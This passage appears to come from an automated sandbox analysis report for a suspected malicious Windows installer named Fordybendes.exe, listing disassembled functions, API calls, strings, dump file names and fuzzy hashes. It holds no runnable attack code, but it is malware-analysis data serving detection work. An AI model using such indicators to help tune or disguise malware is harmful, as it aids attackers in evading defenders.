MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00408400,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004022CF

Strings

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre, xrefs: 0040225D

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre
API String ID: 123533781-3186517655
Opcode ID: 70649d0e9026040dc941e21a0617744acf30912af8e8bde6290b4c9625d6e85f
Instruction ID: acdf6e72f6b947bb0a5284ae4ba0deec300858df55e4778d54948ee42eae8bd0
Opcode Fuzzy Hash: 70649d0e9026040dc941e21a0617744acf30912af8e8bde6290b4c9625d6e85f
Instruction Fuzzy Hash: E2511B71A00218AFDF00EFA4CA88A9D7BB5FF48314F2045BAF515FB2D1DA799981CB54

Function 004027CF Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 004027DE

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 7dc7aefde22297a4bf68967d875df35d5105c079c979e2d7c1a4a5bcaaa4c8d9
Instruction ID: 5ed852e6a610c10883a0fdcbaa2a1eabfa39daaf502c0fc8fb26de8a8de58f20
Opcode Fuzzy Hash: 7dc7aefde22297a4bf68967d875df35d5105c079c979e2d7c1a4a5bcaaa4c8d9
Instruction Fuzzy Hash: 70F0A771644110DFDB50EBA49E49AEE77689F61314F6000BBE141B20C1C6B84946972E

Function 00404CFC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 491windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404D13
GetDlgItem.USER32(?,00000408), ref: 00404D20
GlobalAlloc.KERNEL32(00000040,?), ref: 00404D6F
LoadImageA.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404D86
SetWindowLongA.USER32(?,000000FC,0040530F), ref: 00404DA0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404DB2
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404DC6
SendMessageA.USER32(?,00001109,00000002), ref: 00404DDC
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404DE8
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404DF8
DeleteObject.GDI32(00000110), ref: 00404DFD
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404E28
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404E34
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404ECE
SendMessageA.USER32(?,0000110A,00000003,00000110), ref: 00404EFE

Part of subcall function 0040432C: SendMessageA.USER32(00000028,?,00000001,0040415C), ref: 0040433A

SendMessageA.USER32(?,00001100,00000000,?), ref: 00404F12
GetWindowLongA.USER32(?,000000F0), ref: 00404F40
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404F4E
ShowWindow.USER32(?,00000005), ref: 00404F5E
SendMessageA.USER32(?,00000419,00000000,?), ref: 00405059
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 004050BE
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 004050D3
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 004050F7
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00405117
ImageList_Destroy.COMCTL32(00000000), ref: 0040512C
GlobalFree.KERNEL32(00000000), ref: 0040513C
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004051B5
SendMessageA.USER32(?,00001102,?,?), ref: 0040525E
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 0040526D
InvalidateRect.USER32(?,00000000,00000001), ref: 00405298
ShowWindow.USER32(?,00000000), ref: 004052E6
GetDlgItem.USER32(?,000003FE), ref: 004052F1
ShowWindow.USER32(00000000), ref: 004052F8

Strings

, xrefs: 004052D0
N, xrefs: 00404F97
M, xrefs: 00404EB6

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 057dc493640dd527312795b1c53916febee8d97b88cead7ded06e88e49cdd7c4
Instruction ID: 2d5f9558e6aac702e0a48f70f644e8e6101da383f69b12cb8e913c1bf49828ac
Opcode Fuzzy Hash: 057dc493640dd527312795b1c53916febee8d97b88cead7ded06e88e49cdd7c4
Instruction Fuzzy Hash: 1C027EB0A00209AFEB20DF94DD45AAE7BB5FB44314F10417AF611BA2E1C7799D82DF58

Function 00404462 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 202windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004044ED
GetDlgItem.USER32(00000000,000003E8), ref: 00404501
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040451F
GetSysColor.USER32(?), ref: 00404530
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 0040453F
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 0040454E
lstrlenA.KERNEL32(?), ref: 00404551
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404560
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404575
GetDlgItem.USER32(?,0000040A), ref: 004045D7
SendMessageA.USER32(00000000), ref: 004045DA
GetDlgItem.USER32(?,000003E8), ref: 00404605
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404645
LoadCursorA.USER32(00000000,00007F02), ref: 00404654
SetCursor.USER32(00000000), ref: 0040465D
LoadCursorA.USER32(00000000,00007F00), ref: 00404673
SetCursor.USER32(00000000), ref: 00404676
SendMessageA.USER32(00000111,00000001,00000000), ref: 004046A2
SendMessageA.USER32(00000010,00000000,00000000), ref: 004046B6

Strings

N, xrefs: 004045F3
: Completed, xrefs: 00404630
-D@, xrefs: 00404661

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: -D@$: Completed$N
API String ID: 3103080414-1635042972
Opcode ID: c290ffe1329fa17a1c9815ecf0983b82487ca7c61a5f12ce393e077b2de52971
Instruction ID: 7d66e5d385180e63e30544fb3c5556dedc76f22ff26fafd20803c06a3ce53d3e
Opcode Fuzzy Hash: c290ffe1329fa17a1c9815ecf0983b82487ca7c61a5f12ce393e077b2de52971
Instruction Fuzzy Hash: 2F61C4B1A00209BFDB109F61DD45F6A3B69FB84714F00843AFB04BA1D1D7B9A951CF98

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Formerer Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Formerer Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Formerer Setup
API String ID: 941294808-2131834987
Opcode ID: d61691d462883fe5d04acf452d55bcaff09ca60d36777b0a3b69fe5fd5749037
Instruction ID: ce0e1775dc57e2611eec9810580e82c7ccfea9863ca17ce6bffee9922d4e458c
Opcode Fuzzy Hash: d61691d462883fe5d04acf452d55bcaff09ca60d36777b0a3b69fe5fd5749037
Instruction Fuzzy Hash: DB419C71800209AFCB058F95DE459AFBFB9FF44314F00842EF991AA1A0CB389A54DFA4

Function 00405EC0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 129memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,00000000,00406051,?,?), ref: 00405EF1
GetShortPathNameA.KERNEL32(?,004226B0,00000400), ref: 00405EFA

Part of subcall function 00405D4F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FAA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D5F
Part of subcall function 00405D4F: lstrlenA.KERNEL32(00000000,?,00000000,00405FAA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D91

GetShortPathNameA.KERNEL32(?,00422AB0,00000400), ref: 00405F17
wsprintfA.USER32 ref: 00405F35
GetFileSize.KERNEL32(00000000,00000000,00422AB0,C0000000,00000004,00422AB0,?,?,?,?,?), ref: 00405F70
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F7F
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FB7
SetFilePointer.KERNEL32(0040A3D0,00000000,00000000,00000000,00000000,004222B0,00000000,-0000000A,0040A3D0,00000000,[Rename],00000000,00000000,00000000), ref: 0040600D
GlobalFree.KERNEL32(00000000), ref: 0040601E
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406025

Part of subcall function 00405DEA: GetFileAttributesA.KERNELBASE(00000003,00402F71,C:\Users\user\Desktop\Fordybendes.exe,80000000,00000003,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00405DEE
Part of subcall function 00405DEA: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00405E10

Strings

%s=%s, xrefs: 00405F2B
[Rename], xrefs: 00405F9F, 00405FB1

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %s=%s$[Rename]
API String ID: 2171350718-1727408572
Opcode ID: 5eb247c3206cb3411ac0b00adc72d856eb6ccec34bea796ccc10527b069ef362
Instruction ID: 8ba473b27d2e43b71b33d04287a1253002a8f6b9e15d5b74e31d15e04c8ad0f9
Opcode Fuzzy Hash: 5eb247c3206cb3411ac0b00adc72d856eb6ccec34bea796ccc10527b069ef362
Instruction Fuzzy Hash: CC310531600B16BBC2207B65AD48F5B3A9CEF45718F15003BFA46F62D2DB7C98118ABD

Function 00406551 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(0000000C,*?|<>/":,00000000,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",0040337D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004065A9
CharNextA.USER32(0000000C,0000000C,0000000C,00000000,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",0040337D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004065B6
CharNextA.USER32(0000000C,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",0040337D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004065BB
CharPrevA.USER32(0000000C,0000000C,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe",0040337D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008,0000000A,0000000C), ref: 004065CB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406552
"C:\Users\user\Desktop\Fordybendes.exe", xrefs: 00406551
*?|<>/":, xrefs: 00406599

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Fordybendes.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3691526187
Opcode ID: 5d1a13f5f6d1e26a5c928a636a6cd85ce9cfe8cb66a926baf99f252f8cb630c3
Instruction ID: be54c4e4c68a096c38ef6baa89aa0736c51ec1df1b66f57aa8b01daf6da65802
Opcode Fuzzy Hash: 5d1a13f5f6d1e26a5c928a636a6cd85ce9cfe8cb66a926baf99f252f8cb630c3
Instruction Fuzzy Hash: 6E11D0A18043913DEB3216286C44B776BD98F56760F19007BE8C6722CAC67C5DA2826D

Function 0040435E Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 0040437B
GetSysColor.USER32(00000000), ref: 004043B9
SetTextColor.GDI32(?,00000000), ref: 004043C5
SetBkMode.GDI32(?,?), ref: 004043D1
GetSysColor.USER32(?), ref: 004043E4
SetBkColor.GDI32(?,?), ref: 004043F4
DeleteObject.GDI32(?), ref: 0040440E
CreateBrushIndirect.GDI32(?), ref: 00404418

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 8c62cc7b680d0f9fb00056791eeffc6cd2931fdceedc16941688e7b217811201
Instruction ID: 6f9f1b6008425ce48584da53d5dc78dba2c0755ec76785ae7af3bb1c563c78c8
Opcode Fuzzy Hash: 8c62cc7b680d0f9fb00056791eeffc6cd2931fdceedc16941688e7b217811201
Instruction Fuzzy Hash: AC2177B15007049BC730DF78DA48B5BBBF8AF81711B05893DE996A26E0D734E944CB54

Function 00404C4A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404C65
GetMessagePos.USER32 ref: 00404C6D
ScreenToClient.USER32(?,?), ref: 00404C87
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404C99
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404CBF

Strings

f, xrefs: 00404C9B

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: fbe7a9a9d251da3c9c448e6b1369ef84c2200939816a620fb3ee489aa4668e2c
Instruction ID: fa75b469e5113c283003aa9f91b110ddb7161f06a95e945890e67c7b79eb67e4
Opcode Fuzzy Hash: fbe7a9a9d251da3c9c448e6b1369ef84c2200939816a620fb3ee489aa4668e2c
Instruction Fuzzy Hash: 6E019E71900218BAEB00DB94CD81FFFBBBCAF44711F10012BBA40F61D0C7B899418BA4

Function 00402E4A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E65
MulDiv.KERNEL32(001D07E8,00000064,001D1170), ref: 00402E90
wsprintfA.USER32 ref: 00402EA0
SetWindowTextA.USER32(?,?), ref: 00402EB0
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402EC2

Strings

verifying installer: %d%%, xrefs: 00402E9A

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 28c4548f622da75b34f4b00d5fa0069a4700956d7e1aa93142aee228208de263
Instruction ID: 22078c6fad303157943161b2cfb0520d7f952f3844b57bc3a92c884290227ce9
Opcode Fuzzy Hash: 28c4548f622da75b34f4b00d5fa0069a4700956d7e1aa93142aee228208de263
Instruction Fuzzy Hash: D6016270640208FBEF10AF60DD09EEE37A9AB00345F008039FA06B51E0DBB49D56CF99

Function 0040280D Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 0040286E
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040288A
GlobalFree.KERNEL32(?), ref: 004028C9
GlobalFree.KERNEL32(00000000), ref: 004028DC
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004028F8
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 0040290B

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 5e3d71c1b489099ee601d664269c4a221f4f79db0d852d2a7e320f248806304c
Instruction ID: 421b97e042d8ed64f47f64816392ec3ab84a533a9b7d5bb53c113432182462de
Opcode Fuzzy Hash: 5e3d71c1b489099ee601d664269c4a221f4f79db0d852d2a7e320f248806304c
Instruction Fuzzy Hash: F3318D72C00124BBDF217FA5CD48D9E7B79AF14324F10823AF554B62E1CB7949419FA8

Function 00404B40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Formerer Setup: Completed,Formerer Setup: Completed,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A5B,000000DF,00000000,00000400,?), ref: 00404BDE
wsprintfA.USER32 ref: 00404BE6
SetDlgItemTextA.USER32(?,Formerer Setup: Completed), ref: 00404BF9

Strings

%u.%u%s%s, xrefs: 00404BC8
Formerer Setup: Completed, xrefs: 00404BD0, 00404BD5, 00404BDB, 00404BEF

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

